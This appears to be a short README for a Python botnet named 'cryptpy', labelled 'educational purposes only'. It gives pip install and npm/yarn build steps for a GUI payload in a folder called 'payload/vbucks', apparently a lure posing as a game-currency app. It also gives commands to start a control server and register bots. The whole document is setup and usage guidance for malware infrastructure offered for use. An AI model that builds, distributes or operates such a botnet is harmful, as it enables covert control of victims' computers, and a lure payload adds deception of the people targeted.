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Dynamically programmable Python botnet (educational purposes only).

Installation

Core Installation with PIP (botnet sources)

pip install cryptpy

Building the Node Source (GUI Implementation)

Note: requires installation of cryptpy

First, cd payload/vbucks.

Build for MacOS:

  1. npm i

  2. yarn dist

Build for Windows:

  1. npm i

  2. npm run dist

Usage

Start a Server:

cryptpy --server --terminal

Start and Register a Bot:

cryptpy

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